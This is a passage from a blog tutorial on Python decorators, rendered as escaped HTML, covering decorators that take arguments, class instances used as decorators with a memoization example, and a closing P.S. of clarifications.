&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;            return&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; return_value&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;        return&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; wrapper&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; actual_decorator&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;@benchmark&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;iters&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; fetch_webpage&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(url):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    import&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; requests&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    webpage &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; requests.get(url)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; webpage.text&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;webpage &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; fetch_webpage(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;https://google.com&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(webpage)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here I’ve extended the benchmark decorator so that it runs the decorated function a given number of times (specified using the &lt;code&gt;iters&lt;/code&gt; parameter), and then prints out the average time taken by the function to execute. But to do this, I’ve had to use a little trick — exploiting the nature of functions in Python.&lt;/p&gt;
&lt;p&gt;The benchmark function, which may at first look like a decorator, is not really a decorator. It’s a normal function, which accepts the argument &lt;code&gt;iters&lt;/code&gt;, and &lt;em&gt;returns&lt;/em&gt; a decorator. That decorator, in turn, decorates the &lt;code&gt;fetch_webpage&lt;/code&gt; function. That’s why we haven’t used the statement &lt;code&gt;@benchmark&lt;/code&gt;, rather we’ve used &lt;code&gt;@benchmark(iters=10)&lt;/code&gt; — meaning the &lt;code&gt;benchmark&lt;/code&gt; function is getting called here (a function with parentheses after it signifies a function call) and the return value of that function is the actual decorator.&lt;/p&gt;
&lt;p&gt;It’s admittedly a kind of tricky to understand, the following rule-of-thumb will help you&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Decorator function takes a function as an argument, and returns a function.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Here in the example, the &lt;code&gt;benchmark&lt;/code&gt; function doesn’t satisfy this rule of thumb, because it doesn’t take a function as an argument. Whereas the &lt;code&gt;actual_decorator&lt;/code&gt; function—which is returned by &lt;code&gt;benchmark&lt;/code&gt;—is a decorator, because it satisfies the above rule-of-thumb.&lt;/p&gt;
&lt;h3 id=&quot;objects-as-decorators&quot;&gt;Objects as decorators&lt;/h3&gt;
&lt;p&gt;Lastly, I want to mention that not only functions but any &lt;em&gt;callable&lt;/em&gt; can also be a decorator. Class instances // objects with a &lt;a href=&quot;https://docs.python.org/3/reference/datamodel.html#object.__call__&quot;&gt;&lt;code&gt;__call__&lt;/code&gt;&lt;/a&gt; method can be called too, so that can be used as a decorator as well. This functionality can be used to create decorators with some kind of “state”. For example, Scott Lobdell shows how he created a memoization decorator in his blog &lt;a href=&quot;http://scottlobdell.me/2015/04/decorators-arguments-python/&quot;&gt;here&lt;/a&gt;. I’ll post the code here but won’t go into detail explaining it, you can check out his blog post for a write-up on this.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; collections &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; deque&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; Memoized&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;object&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    def&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; __init__&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(self, cache_size&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;        self&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;.cache_size &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; cache_size&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;        self&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;.call_args_queue &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; deque()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;        self&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;.call_args_to_result &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; {}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    def&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; __call__&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(self, fn, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;args, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;kwargs):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;        def&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; new_func&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;args, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;kwargs):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;            memoization_key &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; self&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;._convert_call_arguments_to_hash(args, kwargs)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;            if&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; memoization_key &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;not&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; in&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; self&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;.call_args_to_result:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;                result &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; fn(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;args, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;kwargs)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;                self&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;._update_cache_key_with_value(memoization_key, result)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;                self&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;._evict_cache_if_necessary()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;            return&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; self&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;.call_args_to_result[memoization_key]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;        return&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; new_func&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    def&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; _update_cache_key_with_value&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(self, key, value):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;        self&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;.call_args_to_result[key] &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; value&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;        self&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;.call_args_queue.append(key)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    def&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; _evict_cache_if_necessary&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(self):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;        if&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; len&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;self&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;.call_args_queue) &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; self&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;.cache_size:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;            oldest_key &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; self&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;.call_args_queue.popleft()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;            del&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; self&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;.call_args_to_result[oldest_key]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;    @&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;staticmethod&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    def&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; _convert_call_arguments_to_hash&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(args, kwargs):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;        return&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; hash&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;str&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(args) &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; str&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(kwargs))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;@Memoized&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;cache_size&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; get_not_so_random_number_with_max&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(max_value):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    import&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; random&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; random.random() &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; max_value&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This example is mostly for demonstration purposes though, in a real application you should use &lt;a href=&quot;https://docs.python.org/3.7/library/functools.html#functools.lru_cache&quot;&gt;&lt;code&gt;functools.lru_cache&lt;/code&gt;&lt;/a&gt; to implement caching functionality like this.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;I hope this post helped you understand the power of decorators, and also the “magic” behind it. If you have any questions, post it in the comments down below and I’ll try my best to get back to you.&lt;/p&gt;
&lt;h2 id=&quot;ps&quot;&gt;P.S.&lt;/h2&gt;
&lt;p&gt;Some things I want to say here that are important but I left out in the article or didn’t make it clear enough. These may seem to go against what I said in the entire article, but actually they don’t. I just didn’t mention them at the start so that the reader doesn’t get overwhelmed.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Decorators need not be functions, it can be any &lt;em&gt;callable&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Decorators need not return functions, they can return anything. But usually we want decorators to return the objects of the same type as of the decorated object. Thanks to /u/zardeh and /u/mafrasi2 at Reddit for pointing this out.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; def&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; decorator&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(func):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;     return&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; &apos;sumit&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; @&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;decorator&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; def&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; hello_world&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;():&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;     print&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;hello world&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; hello_world&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;sumit&apos;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Decorators also need not take only functions as input. Thanks to /u/hchasestevens at Reddit for pointing this out, check &lt;a href=&quot;https://github.com/hchasestevens/hchasestevens.github.io/blob/master/notebooks/the-decorators-they-wont-tell-you-about.ipynb&quot;&gt;this article&lt;/a&gt; out to learn more about it.&lt;/li&gt;
&lt;li&gt;I’ve found that the need for decorators only becomes clear when you write a library. So if decorators still seem kind of useless to you, think of it from the POV of a library developer. A good example would be the view decorator in Flask.&lt;/li&gt;
&lt;li&gt;When I said that decorators don’t modify functions permanently, what I meant is that it can be easily removed and added with just one line.&lt;/li&gt;
&lt;li&gt;You should look into &lt;a href=&quot;https://docs.python.org/3.7/library/functools.html#functools.wraps&quot;&gt;&lt;code&gt;functools.wraps&lt;/code&gt;&lt;/a&gt; — it’s a helper function that helps you make a decorated function &lt;em&gt;look&lt;/em&gt; like the original function, doing things such as keeping the docstring of the original function. Thanks to /u/primordial_pouch and /u/Overload175 over at Reddit for pointing this out.&lt;/li&gt;
&lt;/ul&gt;
&lt;script src=&apos;https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.5/MathJax.js?config=TeX-MML-AM_CHTML&apos; async&gt;&lt;/script&gt;
